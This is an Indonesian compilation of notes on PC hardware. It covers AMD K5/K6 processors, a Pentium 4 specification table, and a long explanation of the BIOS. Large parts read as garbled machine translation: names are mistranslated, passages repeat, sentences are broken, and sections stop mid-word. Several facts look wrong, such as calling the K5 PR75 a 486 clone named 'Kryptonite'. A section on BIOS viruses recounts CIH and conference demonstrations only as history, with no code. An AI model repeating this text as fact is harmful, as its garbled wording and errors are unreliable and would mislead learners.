Agar dapat berkompetisi dengan Pentium II yang menggunakan desain Slot-1 (yang memiliki Level 2 cache dalam cartridge prosesor), AMD menggandakan cache internal Level 1 menjadi total 64 KB, yang berarti kapasitas tersebut dua kali lebih besar daripada Pentium II atau Pentium III dari Intel. Hal ini mengakibatkan K6 dapat bersaing dengan Pentium II dan Pentium III meski motherboard yang digunakan adalah motherboard lama, yang memiliki cache dalam motherboard (yang tentunya lambat). AMD K6-3 bahkan lebih baik lagi jika dibandingkan dengan prosesor K6 dan K6-2, karena memiliki cache Level 2 yang bersifat terintegrasi dalam inti prosesor. Meskipun demikian, AMD K6-3 bekerja terlalu panas, dan kemudian AMD pun menghentikan produksi K6-3 setelah beredar beberapa bulan saja. Ini menjadikan mitos "Prosesor AMD = PANAS!" beredar dalam pikiran banyak orang, termasuk di Indonesia, bahkan hingga kini, banyak orang menghindari prosesor AMD karena takut "kepanasan".

PENTIUM 4
Pentium 4 adalah mikroprosesor generasi ketujuh yang dibuat oleh Intel Corporation dan dirilis secara resmi pada tanggal 20 November 2000 meneruskan prosesor Intel Pentium III. Nama perkenalan generasi awalnya adalah Willamette, kemudian dikembangkan kembali dengan nama perkenalan Northwood, Prescott, dan Cedar-Mill.
Nama
prosesor
Intel Pentium 4

Nama perkenalan
Willamette
Northwood
Prescott
Cedar-Mill
Luas
penampang Willamette: 217 mm2
Northwood: 131 mm2
Prescott: 112 mm2
Proses
produksi Willamette: 180 nm
Northwood: 130 nm
Prescott: 90 nm
Cedar-Mill: 65 nm

Jangkauan
kecepatan 1,3 GHz hingga 3,8 GHz
Transistor
Willamette: 42.000.000
Northwood: 55.000.000
Prescott: 125.000.000
Instruksi
tambahan x86, MMX, SSE, SSE2, SSE3 (Prescott dan Cedar-Mill), EM64T (Prescott dan Cedar-Mill), Intel xD (Execute Disable Bit untuk melindungi diri dari ancaman buffer overflow), Intel Hyper-Threading (beberapa prosesor Northwood, Prescott, dan Cedar-Mill), dan teknologi virtualisasi Intel (Vanderpool)

Bus sisi
depan (FSB) 400 MHz, 533 MHz, 800 MHz, atau 1.066 MHz (bersifat empat kali lipat atau quad)
Pipeline Willamette dan Northwood: 20
Prescott dan Cedar Mill: 31
Cache L1
Cache data: 8 KB (Wilamette, Northwood); 16 KB (Prescott, Cedar-Mill)
Cache instruksi: 12 KB

Cache L2
256 KB, 512 KB, atau 1.024 KB, dalam tubuh, kecepatan penuh (setara dengan kecepatan prosesor) dengan lebar lajur 256-bit
Jenis cache L2
Asosiatif delapan lajur, mendukung ECC
Cache memori
4 GB
Dudukan
prosesor
FC-PGA 423 (Flip-Chip Pin-Grid Array)
FC-PGA Mikro 478 (Micro Flip-Chip Pin-Grid Array)
LGA 775 (Land Grid Array)
Dukungan
multiprosesor Tidak (hanya didukung oleh Intel Xeon)

Memori yang
didukung SDRAM: PC-133
DDR-SDRAM: PC-2100, PC-2700, PC-3200 (satu atau dua kanal)
DDR 2-SDRAM: PC-4200, PC-5300, PC-6400, PC-8000
RDRAM: PC-600, PC-700, PC-800, PC-1066.


AMD-K5
AMD K5 adalah sebuah mikroprosesor yang dikembangkan oleh AMD yang kompatibel dengan prosesor Pentium. K5 tersedia dalam berbagai rating kecepatan, yakni PR75, PR90, PR100, PR120, PR133, PR166, dan PR200. Karena AMD K5 didesain agar kompatibel dengan Pentium secara fisik dan fungsional, prosesor ini dapat menggunakan semua motherboard yang memiliki dukungan terhadap prosesor Intel Pentium, meski mungkin dibutuhkan update terhadap BIOS agar semua fitur AMD K5 dapat dieksploitasi.
Kryptonite atau AMD K5-PR75 sebenarnya adalah sebuah 'clone' i80486DX dengan kecepatan internal 133MHz dan clock bus 33MHz . Spesifikasi Pentium yang didapat AMD saat merancang K5 versi-versi selanjutnya dan Cyrix saat merancang 6x86 hanyalah terbatas pada spesifikasi pin-pin Pentium. Mereka tidak diberi akses ke desain aslinya. Bahkan IBM tidak mampu membuat Intel bergeming (Cyrix, mempunyai kontrak terikat dengan IBM sampai tahun 2005)
AMD K5 memiliki fitur-fitur sebagai berikut:
• Cache Level 1: 16 KB instruction cache, ditambah 8 KB data cache yang bersifat write-back.
• Menggunakan Level 2 cache yang tertanam dalam motherboard, (Cache on A Stick )
• Seperti halnya Pentium, AMD K5 memiliki fitur branch prediction.
• AMD K5 memiliki enam unit 5-stage pipeline yang bekerja secara paralel.
• Memiliki Floating-Point Unit yang berkinerja tinggi.
Prosesor K5 dijual dengan menggunakan skema Performance Rating, yang berbeda dengan prosesor Pentium yang dijual dengan menggunakan skema Megahertz (kecepatan aktual). Skema Performance Rating tidak menandakan kecepatan sebenarnya dari chip tersebut, melainkan perbandingan dengan prosesor sederajat (dalam hal ini adalah Pentium) dalam rangka melakukan pekerjaan tertentu. Sebagai contoh, AMD K5 PR166 memiliki kecepatan 117 MHz. Alasan mengapa AMD melakukan hal ini adalah karena K5 memiliki perbaikan terhadap prosesor Pentium secara arsitektural, sehingga untuk mencapai kinerja setara dengan 166 MHz, tidak dibutuhkan untuk menjalankan prosesor pada kecepatan 166 MHz, tetapi cukup dengan 117 MHz.
Prosesor K5 beroperasi pada tegangan 3.52 Volt, meski beberapa motherboard Pentium menggunakan spesifikasi tegangan 3.3 Volt, yang berarti AMD K5 bekerja di bawah spesifikasi, yang mungkin dapat mengakibatkan beberapa kesalahan dalam operasi.
Karena mengalami masalah kompatibilitas dengan beberapa aplikasi, panas yang berlebih (karena menggunakan tegangan yang lebih tinggi), kecepatan MHz yang relatif lebih rendah, AMD kemudian mengganti prosesor K5 dengan keluarga AMD K

BIOS

1. PENGERTIAN BIOS
B
IOS, singkatan dari Basic Input Output System, dalam sistem komputer IBM PC atau kompatibelnya (komputer yang berbasis keluarga prosesor Intel x86) merujuk kepada kumpulan rutin perangkat lunak yang mampu melakukan hal-hal berikut:
1. Inisialisasi (penyalaan) serta pengujian terhadap perangkat keras (dalam proses yang disebut dengan Power On Self Test, POST)
2. Memuat dan menjalankan sistem operasi
3. Mengatur beberapa konfigurasi dasar dalam komputer (tanggal, waktu, konfigurasi media penyimpanan, konfigurasi proses booting, kinerja, serta kestabilan komputer)
4. Membantu sistem operasi dan aplikasi dalam proses pengaturan perangkat keras dengan menggunakan BIOS Runtime Services.
BIOS menyediakan antarmuka komunikasi tingkat rendah, dan dapat mengendalikan banyak jenis perangkat keras (seperti keyboard). Karena kedekatannya dengan perangkat keras, BIOS umumnya dibuat dengan menggunakan bahasa rakitan (assembly) yang digunakan oleh mesin yang bersangkutan.
Istilah BIOS pertama kali muncul dalam sistem operasi CP/M, yang merupakan bagian dari CP/M yang dimuat pada saat proses booting dimulai yang berhadapan secara langsung dengan perangkat keras (beberapa mesin yang menjalankan CP/M memiliki boot loader sederhana dalam ROM). Kebanyakan versi DOS memiliki sebuah berkas yang disebut "IBMBIO.COM" (IBM PC-DOS) atau "IO.SYS" (MS-DOS) yang berfungsi sama seperti halnya CP/M disk BIOS.
Kata BIOS juga dapat diartikan sebagai "kehidupan" dalam tulisan Yunani (Βίος).
=BIOS, singkatan dari Basic Input Output System, dalam sistem komputer IBM PC atau kompatibelnya (komputer yang berbasis keluarga prosesor Intel x86) merujuk kepada kumpulan rutin perangkat lunak yang mampu melakukan hal-hal berikut:
1. Inisialisasi (penyalaan) serta pengujian terhadap perangkat keras (dalam proses yang disebut dengan Power On Self Test, POST)
2. Memuat dan menjalankan sistem operasi
3. Mengatur beberapa konfigurasi dasar dalam komputer (tanggal, waktu, konfigurasi media penyimpanan, konfigurasi proses booting, kinerja, serta kestabilan komputer)
4. Membantu sistem operasi dan aplikasi dalam proses pengaturan perangkat keras dengan menggunakan BIOS Runtime Services.
BIOS menyediakan antarmuka komunikasi tingkat rendah, dan dapat mengendalikan banyak jenis perangkat keras (seperti keyboard). Karena kedekatannya dengan perangkat keras, BIOS umumnya dibuat dengan menggunakan bahasa rakitan (assembly) yang digunakan oleh mesin yang bersangkutan.
Istilah BIOS pertama kali muncul dalam sistem operasi CP/M, yang merupakan bagian dari CP/M yang dimuat pada saat proses booting dimulai yang berhadapan secara langsung dengan perangkat keras (beberapa mesin yang menjalankan CP/M memiliki boot loader sederhana dalam ROM). Kebanyakan versi DOS memiliki sebuah berkas yang disebut "IBMBIO.COM" (IBM PC-DOS) atau "IO.SYS" (MS-DOS) yang berfungsi sama seperti halnya CP/M disk BIOS.
Kata BIOS juga dapat diartikan sebagai "kehidupan" dalam tulisan Yunani (Βίος).
Komponen BIOS
Dalam BIOS, terdapat beberapa komponen dasar, yakni sebagai berikut: Contoh dari CMOS Setup (Phoenix BIOS)
* Program BIOS Setup yang memungkinkan pengguna untuk mengubah konfigurasi komputer (tipe harddisk, disk drive, manajemen daya listrik, kinerja komputer, dll) sesuai keinginan. BIOS menyembunyikan detail-detail cara pengaksesan perangkat keras yang cukup rumit apabila dilakukan secara langsung.
* Driver untuk perangkat-perangkat keras dasar, seperti video adapter, perangkat input, prosesor, dan beberapa perangkat lainnya untuk sistem operasi dasar 16-bit (dalam hal ini adalah keluarga DOS).
* Program bootstraper utama yang memungkinkan komputer dapat melakukan proses booting ke dalam sistem operasi yang terpasang.
Pada komputer IBM PC kompatibel, input dasar / output system (BIOS), juga dikenal sebagai Sistem BIOS, adalah standar de facto mendefinisikan antarmuka firmware. [1]
Phoenix AwardBIOS CMOS (memori non-volatile) Setup utilitas pada PC standar

BIOS perangkat lunak dibangun ke PC, dan adalah kode pertama dijalankan oleh PC saat diaktifkan ('firmware boot'). Fungsi utama BIOS adalah untuk memuat dan memulai sistem operasi. Ketika PC dinyalakan, pekerjaan pertama untuk BIOS adalah untuk menginisialisasi dan mengidentifikasi perangkat sistem seperti video tampilan kartu keyboard, dan mouse, hard disk, CD / DVD drive dan perangkat keras lainnya. BIOS kemudian menempatkan perangkat lunak yang diadakan pada perangkat periferal (ditunjuk sebagai 'perangkat boot'), seperti hard disk atau CD, dan beban dan mengeksekusi perangkat lunak tersebut, memberikan kendali PC. [2] Proses ini dikenal sebagai boot, atau boot up, yang pendek untuk bootstrap.

BIOS disimpan pada chip ROM non-volatile yang dibangun ke dalam sistem di papan ibu. BIOS perangkat lunak yang khusus dirancang untuk bekerja dengan jenis tertentu dari sistem yang bersangkutan, termasuk memiliki pengetahuan tentang cara kerja dari berbagai perangkat yang membentuk chipset pelengkap dari sistem. Dalam sistem komputer modern, isi BIOS chip dapat ditulis ulang BIOS memungkinkan perangkat lunak untuk ditingkatkan.

Sebuah BIOS juga akan memiliki antarmuka pengguna (atau UI untuk pendek). Biasanya ini adalah sistem menu diakses dengan menekan tombol tertentu pada keyboard ketika PC dimulai. Di BIOS UI, pengguna dapat:

* Mengkonfigurasi hardware
* Mengatur jam sistem
* Mengaktifkan atau menonaktifkan komponen sistem
* Memilih perangkat yang memenuhi syarat untuk menjadi perangkat boot potensi
* Berbagai set prompt password, seperti password untuk mengamankan akses ke BIOS UI fungsi itu sendiri dan mencegah pengguna berbahaya dari booting sistem dari perangkat periferal yang tidak sah.

BIOS menyediakan sebuah perpustakaan kecil dasar input / output fungsi yang digunakan untuk mengoperasikan dan mengendalikan peripheral seperti keyboard, fungsi teks tampilan dan sebagainya, dan fungsi perangkat lunak perpustakaan ini callable oleh perangkat lunak eksternal. Dalam PC IBM dan AT, kartu perifer tertentu seperti pengendali hard-drive dan menampilkan video adapter dilakukan mereka sendiri ROM BIOS ekstensi, yang menyediakan fungsionalitas tambahan. Sistem operasi dan perangkat lunak eksekutif, yang dirancang untuk menggantikan fungsi ini firmware dasar, akan menyediakan penggantian interface perangkat lunak untuk aplikasi.

Peran BIOS telah berubah dari waktu ke waktu, saat ini BIOS adalah sistem warisan, digantikan oleh Interface yang lebih kompleks Extensible Firmware (EFI), tapi BIOS tetap digunakan secara luas, dan EFI booting hanya telah didukung dalam x86 64-bit Windows sejak 2008. BIOS terutama berhubungan dengan 16-bit, 32-bit, dan awal era arsitektur 64-bit, sedangkan EFI digunakan untuk beberapa bit 32 lebih baru-dan arsitektur 64-bit. Hari BIOS terutama digunakan untuk booting sistem, dan untuk fitur tambahan tertentu seperti manajemen daya (ACPI), inisialisasi video (dalam X.org), tetapi jika tidak digunakan selama menjalankan sistem biasa, sementara pada sistem awal ( terutama di era 16-bit), BIOS digunakan untuk akses perangkat keras - sistem operasi (terutama MS-DOS) akan memanggil BIOS daripada secara langsung mengakses hardware. Pada era 32-bit dan kemudian, sistem operasi pada umumnya bukan langsung diakses menggunakan driver hardware mereka sendiri perangkat. Namun, perbedaan antara BIOS dan EFI jarang dibuat dalam terminologi oleh pengguna komputer rata-rata, membuat BIOS istilah-menangkap semua untuk kedua sistem.
Terminologi

Istilah pertama kali muncul dalam sistem operasi CP / M, menjelaskan bagian dari CP / M diload ketika saat booting dan berhubungan langsung dengan hardware (CP / M mesin biasanya hanya memiliki boot loader sederhana dalam ROM mereka). Kebanyakan versi DOS memiliki sebuah file yang bernama "IBMBIO.COM" atau "IO.SYS" yang analog dengan CP / M BIOS.

Di antara kelas-kelas lain komputer, istilah generik boot monitor, loader boot atau boot ROM yang umum digunakan. Beberapa Sun dan komputer berbasis PowerPC menggunakan Open Firmware untuk tujuan ini. Ada beberapa alternatif untuk Legacy BIOS di dunia x86: Extensible Firmware Interface, Open Firmware (digunakan pada OLPC XO-1) Coreboot dan.
[Sunting] IBM PC yang kompatibel dengan chip BIOS

Pada prinsipnya, BIOS di ROM yang disesuaikan dengan perangkat keras produsen tertentu, yang memungkinkan layanan tingkat rendah (seperti membaca atau menulis keystroke sektor data ke disket) yang akan diberikan dengan cara standar untuk sistem operasi. Misalnya, IBM PC mungkin punya baik monokrom atau adaptor layar warna, menggunakan alamat memori tampilan yang berbeda dan hardware - tetapi BIOS layanan untuk mencetak karakter pada layar dalam modus teks akan sama.
Boot Block
DMI Blok
Blok Utama
PhoenixBIOS D686. Chip BIOS ini ditempatkan dalam sebuah paket PLCC, yang, pada gilirannya, dipasang ke soket PLCC.

Sebelum awal 1990-an, BIOS disimpan dalam chip ROM atau PROM, yang tidak dapat diubah oleh pengguna. Sebagai kompleksitas dan kebutuhan untuk update tumbuh, dan bagian kembali diprogram menjadi lebih tersedia, BIOS firmware paling umumnya disimpan pada EEPROM atau flash memori perangkat. Menurut Robert lebih berani, presiden dari produsen BIOS Micro Firmware, Flash BIOS chip menjadi umum sekitar tahun 1995 karena PROM elektrik bisa dihapus (EEPROM) chip lebih murah dan lebih mudah untuk program dari standar bisa dihapus (EPROM) chip PROM. chip EPROM dapat terhapus oleh terlalu lama terkena sinar ultraviolet, yang diakses chip melalui jendela. Chip produsen menggunakan programer EPROM (Blasters) untuk chip EPROM program. Elektrik dihapus (EEPROM) chip dilengkapi dengan fitur tambahan yang memungkinkan pemrograman ulang BIOS melalui jumlah yang lebih tinggi dari yang normal tegangan. [3] BIOS versi yang ditingkatkan untuk mengambil keuntungan dari versi terbaru dari perangkat keras dan untuk memperbaiki bug dalam revisi sebelumnya BIOS [4].

Dimulai dengan AT IBM, PC mendukung jam hardware settable melalui BIOS. Itu sedikit abad yang memungkinkan untuk mengubah secara manual abad ketika tahun 2000 terjadi. Kebanyakan BIOS revisi yang dibuat pada tahun 1995 dan hampir semua BIOS revisi pada tahun 1997 mendukung tahun 2000 dengan mengatur bit abad secara otomatis ketika jam digulung lewat tengah malam, 31 Desember 1999. [5]

Chip flash pertama melekat pada bus ISA. Mulai tahun 1997, BIOS flash pindah ke bus LPC, pengganti fungsional untuk ISA, menyusul penerapan standar baru yang dikenal sebagai "hub firmware" (FWH). Pada tahun 2006, sistem pertama yang mendukung Serial Peripheral Interface (SPI) muncul, dan BIOS flash pindah lagi.

Ukuran BIOS, dan kapasitas ROM, EEPROM dan media lain dapat disimpan, telah meningkat dari waktu ke waktu sebagai fitur baru telah ditambahkan ke kode tersebut; BIOS versi sekarang ada dengan ukuran hingga 16 megabyte. Beberapa motherboard modern termasuk bahkan lebih besar IC NAND Flash ROM on board yang mampu menyimpan seluruh operasi sistem distribusi kompak seperti beberapa distribusi Linux. Sebagai contoh, beberapa motherboard ASUS baru-baru ini termasuk SplashTop Linux tertanam ke mereka Flash IC NAND ROM.
Flashing BIOS

Pada PC modern BIOS disimpan dalam memori ditulis ulang, yang memungkinkan isi harus diganti atau 'ditulis ulang'. Ini menulis ulang isi kadang-kadang disebut 'berkedip'. Hal ini dilakukan oleh program khusus, biasanya disediakan oleh produsen sistem. Sebuah file yang berisi isi tersebut kadang-kadang disebut 'sebuah gambar BIOS'. Sebuah BIOS mungkin reflashed untuk meng-upgrade ke versi yang lebih baru untuk memperbaiki bug atau memberikan peningkatan kinerja atau untuk mendukung perangkat keras baru, atau operasi reflashing mungkin diperlukan untuk memperbaiki kerusakan BIOS.
chip BIOS kerentanan
An American Megatrends BIOS mendaftarkan "Intel CPU Error uCode" saat melakukan masalah POST, kemungkinan besar dengan POST.

chip EEPROM adalah menguntungkan karena mereka dapat dengan mudah diperbarui oleh pengguna, perangkat keras produsen seringkali mengeluarkan update BIOS untuk meng-upgrade produk mereka, meningkatkan kompatibilitas dan menghapus bug. Namun kelebihan ini memiliki risiko bahwa tidak benar dijalankan atau dihentikan update BIOS bisa membuat komputer atau perangkat tidak dapat digunakan. Untuk menghindari situasi ini, BIOS yang lebih baru menggunakan "boot block"; sebagian dari BIOS yang menjalankan pertama dan harus diperbarui secara terpisah. Kode ini memverifikasi jika seluruh BIOS masih utuh (menggunakan checksum hash atau metode lainnya) sebelum mentransfer kontrol untuk itu. Jika boot block mendeteksi korupsi pun di BIOS utama, biasanya akan memperingatkan pengguna bahwa proses pemulihan harus dimulai dengan boot dari removable media (floppy, CD atau memori USB) sehingga pengguna dapat mencoba flashing BIOS lagi. Beberapa motherboard memiliki backup BIOS (kadang-kadang disebut sebagai DualBIOS papan) untuk pulih dari BIOS korups
Overclocking

Beberapa chip BIOS memungkinkan overclocking, aksi di mana CPU disesuaikan dengan tingkat clock lebih tinggi dari pabrik preset nya. Overclocking mungkin, bagaimanapun, serius kompromi keandalan sistem di komputer kurang dingin dan umumnya memperpendek umur komponen.
Serangan Virus

Setidaknya ada tiga dikenal BIOS virus menyerang, dua di antaranya adalah untuk tujuan demonstrasi
CIH

Yang pertama adalah virus yang mampu menghapus Flash ROM BIOS konten, rendering sistem komputer tidak stabil. CIH, juga dikenal sebagai "Chernobyl Virus", muncul untuk pertama kalinya pada pertengahan tahun 1998 dan menjadi aktif pada bulan April 1999. Itu mempengaruhi sistem 'BIOS dan sering kali mereka tidak dapat diperbaiki sendiri karena mereka tidak lagi bisa boot sama sekali. Untuk memperbaiki ini, Flash ROM IC harus dihapus dari motherboard yang akan reprogrammed tempat lain. Kerusakan dari CIH itu mungkin karena virus secara khusus ditujukan pada chipset motherboard Intel i430TX kemudian meluas, dan sistem operasi yang paling umum saat itu berbasis keluarga Windows 9x memungkinkan akses hardware langsung ke semua program.

sistem modern tidak rentan terhadap CIH karena berbagai chipset yang digunakan yang tidak sesuai dengan chipset Intel i430TX, dan juga jenis lainnya IC Flash ROM. Ada juga perlindungan ekstra dari kecelakaan BIOS Penulisan ulang dalam bentuk blok boot yang dilindungi dari kebetulan menimpa atau dual dan quad BIOS dilengkapi sistem yang mungkin, dalam hal terjadi kecelakaan, gunakan backup BIOS. Juga, semua sistem operasi modern seperti Linux, Mac OS X, Windows NT berbasis Windows OS seperti Windows 2000, Windows XP dan yang lebih baru, tidak mengizinkan pengguna mode program dapat mengakses hardware secara langsung. Akibatnya, pada 2008, CIH telah menjadi dasarnya tidak berbahaya, paling buruk menyebabkan jengkel dengan menginfeksi file executable dan memicu peringatan dari perangkat lunak antivirus. BIOS lainnya virus tetap mungkin, namun [6]: karena kebanyakan pengguna Windows menjalankan semua aplikasi dengan hak akses administratif, virus CIH-seperti modern bisa pada prinsipnya masih mendapatkan akses ke perangkat keras. Black Hat 2006

Yang kedua adalah teknik yang disajikan oleh John Heasman, konsultan keamanan utama berbasis di Inggris Next-Generation Security Software pada Konferensi Keamanan Black Hat (2006), di mana dia menunjukkan bagaimana untuk mengangkat hak-hak istimewa dan membaca memori fisik, dengan menggunakan prosedur berbahaya yang diganti normal fungsi ACPI yang tersimpan dalam memori flash. Persistent BIOS Infeksi

Yang ketiga, yang dikenal sebagai "Persisten BIOS infeksi", adalah metode yang disajikan dalam CanSecWest Security Conference (Vancouver, 2009) dan Konferensi Keamanan SyScan (Singapura, 2009) dimana peneliti Anibal Sacco [7] dan Alfredo Ortega, dari Core Security Technologies, menunjukkan penyisipan kode berbahaya ke dalam rutinitas dekompresi di BIOS, memungkinkan untuk mengontrol hampir penuh dari PC di setiap start-up, bahkan sebelum sistem operasi di-boot.

Bukti-of-konsep tidak mengeksploitasi cacat di BIOS pelaksanaan, tetapi hanya melibatkan prosedur normal BIOS berkedip. Dengan demikian, membutuhkan akses fisik ke mesin atau untuk pengguna pada sistem operasi menjadi root. Meskipun ini, bagaimanapun, peneliti menggarisbawahi implikasi mendalam penemuan mereka: "Kita bisa patch driver untuk menjatuhkan rootkit sepenuhnya bekerja. Kami bahkan memiliki kode kecil yang dapat mengeluarkan atau menonaktifkan antivirus ". [8] Firmware pada kartu adapter

Sebuah sistem komputer dapat berisi beberapa chip BIOS. Motherboard BIOS biasanya berisi kode untuk mengakses komponen perangkat keras mutlak diperlukan untuk bootstrap sistem, seperti keyboard (baik PS / 2 atau pada perangkat antarmuka USB manusia), dan hard disk penyimpanan (drive floppy, jika tersedia, dan IDE atau SATA pengendali). Selain itu, plug-in card adapter seperti SCSI, RAID, kartu antarmuka jaringan, dan papan video sering termasuk mereka sendiri BIOS (misalnya Video BIOS), melengkapi atau menggantikan sistem kode BIOS untuk komponen yang diberikan. (Kode ini umumnya disebut sebagai ROM pilihan.) Bahkan perangkat yang dibangun dalam motherboard dapat berperilaku dengan cara ini; ROM opsi mereka bisa disimpan sebagai kode terpisah pada BIOS utama chip flash, dan ditingkatkan baik dalam bersamaan dengan, atau secara terpisah pada, BIOS utama.

Add-in kartu biasanya hanya membutuhkan sebuah ROM pilihan jika:

* Kebutuhan akan digunakan sebelum sistem operasi dapat dimuat (biasanya ini berarti diperlukan dalam proses bootstrap), dan
* Apakah terlalu canggih atau khusus perangkat yang akan ditangani oleh BIOS utama

sistem operasi PC yang lebih tua, seperti MS-DOS (termasuk semua versi DOS berbasis Microsoft Windows), dan bootloader tahap awal, dapat terus menggunakan BIOS untuk input dan output. Namun, pembatasan dari BIOS lingkungan berarti bahwa OS modern akan hampir selalu menggunakan driver sendiri perangkat untuk mengendalikan secara langsung perangkat keras. Umumnya, device driver ini hanya menggunakan opsi ROM BIOS dan panggilan untuk sangat spesifik (non-kinerja-kritis) tugas, seperti inisialisasi perangkat awal.

Dalam rangka untuk menemukan pilihan memori ROM-dipetakan selama proses booting, implementasi BIOS PC scan memory nyata dari 0xC0000 untuk 0xF0000 pada 2 batas KiB, mencari tanda tangan ROM: 0xAA55 (0x55 diikuti oleh 0xAA, karena arsitektur x86 adalah little-endian ). Dalam ekspansi ROM yang valid, tanda tangan ini segera diikuti oleh satu byte yang menunjukkan jumlah blok 512-byte itu menempati dalam memori nyata. Byte berikutnya berisi offset menggambarkan entry point ROM pilihan, untuk yang BIOS segera transfer kontrol. Pada titik ini, kode expansion ROM mengambil alih, menggunakan BIOS layanan untuk mendaftar vektor interupsi untuk digunakan oleh aplikasi pasca-boot, menyediakan antarmuka konfigurasi pengguna, atau menampilkan informasi diagnosa.

Ada banyak metode dan utilitas untuk memeriksa isi dari berbagai motherboard BIOS dan ROM ekspansi, seperti Microsoft DEBUG atau UNIX dd.
Spesifikasi BIOS boot

Jika expansion ROM ingin mengubah cara boot sistem (misalnya dari perangkat jaringan atau SCSI adapter dimana BIOS tidak memiliki drivernya), maka dapat menggunakan BIOS Boot Specification (BBS) API untuk mendaftarkan kemampuannya untuk melakukan begitu. Setelah ekspansi ROM sudah teregister menggunakan BBS API, pengguna dapat memilih antara opsi-opsi boot yang tersedia dari dalam BIOS user interface. Inilah sebabnya mengapa BBS paling PC yang memenuhi implementasi BIOS tidak akan mengijinkan pengguna untuk masuk ke BIOS user interface sampai expansion ROM sudah selesai melaksanakan dan mendaftarkan diri dengan API BBS. [Rujukan?]
Mengubah peran dari BIOS

Beberapa sistem operasi, misalnya MS-DOS, bergantung pada BIOS untuk melakukan input yang paling tugas output / dalam PC [9] Berbagai alasan teknis membuatnya. Efisien untuk beberapa sistem operasi baru-baru ini ditulis untuk CPU 32-bit seperti Linux dan Microsoft Windows untuk memanggil BIOS langsung. Lebih besar, lebih kuat, server dan workstation menggunakan PowerPC atau SPARC CPU oleh beberapa produsen mengembangkan platform-independent Terbuka Firmware (IEEE-1275), berdasarkan pada bahasa pemrograman Forth. Hal ini disertakan dengan komputer Sun SPARC, IBM RS/6000 line, dan PowerPC CHRP motherboard. Kemudian x86 berbasis sistem operasi komputer pribadi, seperti Windows NT, menggunakan mereka sendiri, driver asli yang juga membuat lebih mudah untuk memperluas dukungan untuk hardware baru, sedangkan BIOS masih mengandalkan pada satu antarmuka warisan mode 16-bit runtime nyata.

Ada transisi yang sama untuk Apple Macintosh, di mana perangkat lunak sistem awalnya sangat bergantung pada set-Toolbox a driver dan rutinitas berguna lainnya yang disimpan dalam ROM berdasarkan CPU Motorola 680x0. ROM ini Apple telah diganti dengan Open Firmware di Macintosh PowerPC, kemudian EFI pada komputer Intel Macintosh.

Kemudian BIOS mengambil fungsi yang lebih kompleks, dengan cara seperti antarmuka ACPI; fungsi-fungsi ini meliputi manajemen daya, manajemen thermal hot swapping,. Namun keterbatasan BIOS (16-bit mode prosesor, hanya 1 MiB ruang alamat yang berbeda, perangkat keras PC AT dependensi, dll) dipandang sebagai jelas tidak dapat diterima untuk platform komputer yang lebih baru. Extensible Firmware Interface (EFI) adalah sebuah spesifikasi yang akan menggantikan antarmuka runtime warisan BIOS. Awalnya ditulis untuk arsitektur Itanium, EFI sekarang tersedia untuk platform x86 dan x86-64, perkembangan spesifikasi didorong oleh Unified EFI Forum, industri Special Interest Group.

Linux telah mendukung EFI melalui boot loader elilo. Komunitas Open Source meningkatkan upaya mereka untuk mengembangkan pengganti BIOS eksklusif dan inkarnasi masa depan mereka dengan mitra bersumber terbuka melalui Coreboot dan OpenBIOS / Open Firmware proyek. AMD disediakan spesifikasi produk untuk beberapa chipset, dan Google adalah mensponsori proyek. Motherboard Tyan produsen menawarkan Coreboot sebelah standar BIOS dengan garis motherboard Opteron mereka. MSI dan Gigabyte Technology telah mengikuti sesuai dengan MSI K9ND MSI MS-9282 dan bertanggung jawab K9SD MS-9185. yang M57SLI-S4 model.

Beberapa BIOS mengandung "SLIC", tanda tangan digital ditempatkan di dalam BIOS oleh pabrikan, misalnya Dell. SLIC ini dimasukkan dalam tabel ACPI dan tidak berisi kode aktif. produsen komputer yang mendistribusikan versi OEM dari Microsoft Windows dan perangkat lunak aplikasi Microsoft dapat menggunakan SLIC untuk otentikasi lisensi ke disk Instalasi Windows OEM dan / atau sistem pemulihan disc berisi perangkat lunak Windows. Sistem memiliki SLIC dapat diaktifkan dengan OEM Product Key, dan mereka memverifikasi sertifikat XML yang diformat OEM terhadap SLIC di BIOS sebagai sarana mengaktifkan diri. Jika pengguna melakukan instalasi baru Windows, mereka akan perlu memiliki kepemilikan dari kedua kunci OEM dan sertifikat digital untuk SLIC mereka dalam rangka untuk mem-bypass aktivasi, dalam praktek ini sangat tidak mungkin dan karenanya satu-satunya cara nyata ini dapat dicapai adalah jika pengguna melakukan restore menggunakan gambar pra-disesuaikan disediakan oleh OEM.

Prosesor Intel terbaru (P6 dan P7) memiliki microcode reprogrammable. BIOS mungkin berisi patch untuk kode prosesor untuk memungkinkan kesalahan dalam kode prosesor awal yang harus diperbaiki, memperbarui microcode prosesor setiap kali sistem yang bertenaga mesin. Jika tidak, sebuah swap prosesor mahal akan diperlukan. [10] Sebagai contoh, bug Pentium FDIV menjadi kegagalan mahal untuk Intel yang diperlukan penarikan produk karena Pentium asli tidak memiliki microcode patchable.
BIOS bisnis

Sebagian besar pemasok Motherboard PC lisensi BIOS "inti" dan toolkit dari pihak ketiga komersial, yang dikenal sebagai "independen BIOS vendor" atau IBV. Para produsen motherboard kemudian mengkustomisasi ini BIOS yang sesuai dengan perangkat keras sendiri. Untuk alasan ini, BIOS diperbarui biasanya diperoleh langsung dari produsen motherboard.

Mayor BIOS vendor termasuk American Megatrends (AMI), Insyde Software, Phoenix Technologies dan Byosoft. Mantan vendor termasuk Penghargaan Software dan Microid penelitian yang diperoleh oleh Phoenix Technologies pada tahun 1998. Phoenix kini telah dihapuskan nama Brand Award. Perangkat Lunak Umum, yang juga diakuisisi oleh Phoenix pada tahun 2007, dijual BIOS untuk sistem prosesor berbasis Intel tertanam.




2. KOMPONEN BIOS
D
alam BIOS, terdapat beberapa komponen dasar, yakni sebagai berikut:


Contoh dari CMOS Setup (Phoenix BIOS)
• Program BIOS Setup yang memungkinkan pengguna untuk mengubah konfigurasi komputer (tipe harddisk, disk drive, manajemen daya listrik, kinerja komputer, dll) sesuai keinginan. BIOS menyembunyikan detail-detail cara pengaksesan perangkat keras yang cukup rumit apabila dilakukan secara langsung.
• Driver untuk perangkat-perangkat keras dasar, seperti video adapter, perangkat input, prosesor, dan beberapa perangkat lainnya untuk sistem operasi dasar 16-bit (dalam hal ini adalah keluarga DOS).
• Program bootstraper utama yang memungkinkan komputer dapat melakukan proses booting ke dalam sistem operasi yang terpasang.
3. ROM DAN NVRAM
B
